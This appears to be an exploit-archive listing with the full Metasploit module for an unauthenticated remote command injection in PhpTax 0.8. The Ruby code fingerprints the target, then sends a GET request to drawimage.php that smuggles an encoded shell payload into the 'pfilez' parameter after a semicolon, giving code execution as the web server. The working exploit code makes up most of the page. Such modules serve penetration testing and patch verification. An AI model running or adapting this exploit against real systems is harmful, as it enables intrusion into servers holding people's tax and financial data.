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PhpTax pfilez Parameter Exec Remote Code Injection

PhpTax pfilez Parameter Exec Remote Code Injection
Posted Oct 8, 2012
Authored by sinn3r, Jean Pascal Pereira | Site metasploit.com

This Metasploit module exploits a vulnerability found in PhpTax, an income tax report generator. When generating a PDF, the icondrawpng() function in drawimage.php does not properly handle the pfilez parameter, which will be used in a exec() statement, and then results in arbitrary remote code execution under the context of the web server. Please note: authentication is not required to exploit this vulnerability.

tags | exploit, remote, web, arbitrary, php, code execution
MD5 | 67557b07d0a3a9a2681bb5d846b2a463

PhpTax pfilez Parameter Exec Remote Code Injection

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##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient

def initialize(info={})
super(update_info(info,
'Name' => "PhpTax pfilez Parameter Exec Remote Code Injection",
'Description' => %q{
This module exploits a vulnerability found in PhpTax, an income tax report
generator. When generating a PDF, the icondrawpng() function in drawimage.php
does not properly handle the pfilez parameter, which will be used in a exec()
statement, and then results in arbitrary remote code execution under the context
of the web server. Please note: authentication is not required to exploit this
vulnerability.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Jean Pascal Pereira <pereira[at]secbiz.de>',
'sinn3r' #Metasploit
],
'References' =>
[
['EDB', '21665']
],
'Payload' =>
{
'Compat' =>
{
'ConnectionType' => 'find',
'PayloadType' => 'cmd',
'RequiredCmd' => 'generic perl ruby bash telnet python'
}
},
'Platform' => ['unix', 'linux'],
'Targets' =>
[
['PhpTax 0.8', {}]
],
'Arch' => ARCH_CMD,
'Privileged' => false,
'DisclosureDate' => "Oct 8 2012",
'DefaultTarget' => 0))

register_options(
[
OptString.new('TARGETURI', [true, 'The path to the web application', '/phptax/'])
], self.class)
end


def check
target_uri.path << '/' if target_uri.path[-1,1] != '/'
res = send_request_raw({'uri'=>target_uri.path})
if res and res.body =~ /PHPTAX by William L\. Berggren/
return Exploit::CheckCode::Detected
else
return Exploit::CheckCode::Unknown
end
end


def exploit
target_uri.path << '/' if target_uri.path[-1,1] != '/'

print_status("#{rhost}#{rport} - Sending request...")
res = send_request_cgi({
'method' => 'GET',
'uri' => "#{target_uri.path}drawimage.php",
'vars_get' => {
'pdf' => 'make',
'pfilez' => "xxx; #{payload.encoded}"
}
})

handler
end
end
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